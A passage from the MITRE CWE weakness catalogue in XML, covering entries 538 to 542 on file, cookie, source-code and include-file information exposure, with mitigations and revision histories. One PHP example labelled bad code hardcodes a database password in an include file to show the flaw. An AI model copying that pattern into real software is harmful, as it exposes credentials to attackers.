					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through Java
						Runtime Error Message</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="538" Name="File and Directory Information Exposure" Status="Draft" Weakness_Abstraction="Base">
			      <Description>
				        <Description_Summary>The product stores sensitive information in files or
					directories that are accessible to actors outside of the intended control
					sphere.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>815</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A6 - Security Misconfiguration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Depending on usage, this could be a weakness or a category. Further study
						of all its children is needed, and the entire sub-tree may need to be
						clarified. The current organization is based primarily on the exposure of
						sensitive information as a consequence, instead of as a primary
						weakness.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>There is a close relationship with CWE-552, which is more focused on
						weaknesses. As a result, it may be more appropriate to convert CWE-538 to a
						category.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
				  	        <Mitigation_Phase>Operation</Mitigation_Phase>
				  	        <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not expose file and directory information to the user.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 12: Information Leakage." Page 191</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>169</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>95</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2010-09-09</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">File and Directory
						Information Leaks</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="539" Name="Information Exposure Through Persistent Cookies" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Persistent cookies are cookies that are stored on the browser's
					hard drive. This can cause security and privacy issues depending on the
					information stored in the cookie and how it is accessed.</Description_Summary>
				        <Extended_Description>
					          <Text>Cookies are small bits of data that are sent by the web application but
						stored locally in the browser. This lets the application use the cookie to
						pass information between pages and store variable information. The web
						application controls what information is stored in a cookie and how it is
						used. Typical types of information stored in cookies are session
						Identifiers, personalization and customization information, and in rare
						cases even usernames to enable automated logins. There are two different
						types of cookies: session cookies and persistent cookies. Session cookies
						just live in the browser's memory, and are not stored anywhere, but
						persistent cookies are stored on the browser's hard drive.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not store sensitive information in persistent cookies.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>60</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Persistent Cookies</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="54" Name="Path Equivalence: 'filedir\' (Trailing Backslash)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					trailing backslash ('filedir\') without appropriate validation can lead to
					ambiguous path resolution and allow an attacker to traverse the file system to
					unintended locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>162</Relationship_Target_ID>
					          <!--Improper Neutralization of Trailing Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0847</Observed_Example_Reference>
					          <Observed_Example_Description> ASP.NET allows remote attackers to bypass
						authentication for .aspx files in restricted directories via a request
						containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path
						Validation Vulnerability." </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>filedir\ (trailing backslash)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Trailing
						Backslash - (filedir\)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="540" Name="Information Exposure Through Source Code" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Source code on a web server often contains sensitive
					information and should generally not be accessible to
					users.</Description_Summary>
				        <Extended_Description>
					          <Text>There are situations where it is critical to remove source code from an
						area or server. For example, obtaining Perl source code on a system allows
						an attacker to understand the logic of the script and extract extremely
						useful information such as code bugs or logins and passwords.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>538</Relationship_Target_ID>
					          <!--File and Directory Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>552</Relationship_Target_ID>
					          <!--Files or Directories Accessible to External Parties-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Recommendations include removing this script from the web server and
							moving it to a location not accessible from the Internet.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Source Code</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="541" Name="Information Exposure Through Include Source Code" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>If an include file source is accessible, the file can contain
					usernames and passwords, as well as sensitive information pertaining to the
					application and system.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>540</Relationship_Target_ID>
					          <!--Information Exposure Through Source Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not store sensitive information in include files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect include files from being exposed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-104">
					          <Intro_Text>The following code uses an include file to store database
						credentials:</Intro_Text>
					          <Example_Body>
						            <Text>database.inc</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>&lt;?php</Code>
							              <Code>$dbName = 'usersDB';</Code>
							              <Code>$dbPassword = 'skjdh#67nkjd3$3$';</Code>
							              <Code>?&gt;</Code>
						            </Block>
						            <Text>login.php</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>&lt;?php</Code>
							              <Code>include('database.inc');</Code>
							              <Code>$db = connectToDB($dbName, $dbPassword);</Code>
							              <Code>$db.authenticateUser($username, $password);</Code>
							              <Code>?&gt;</Code>
						            </Block>
						            <Text>If the server does not have an explicit handler set for .inc files it
							may send the contents of database.inc to an attacker without
							pre-processing, if the attacker requests the file directly. This will
							expose the database name and password. Note this is also an example of
							CWE-433.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Include Source Code</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="542" Name="Information Exposure Through Cleanup Log Files" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application does not properly protect or delete a log file
					related to cleanup.</Description_Summary>
			      </Description>
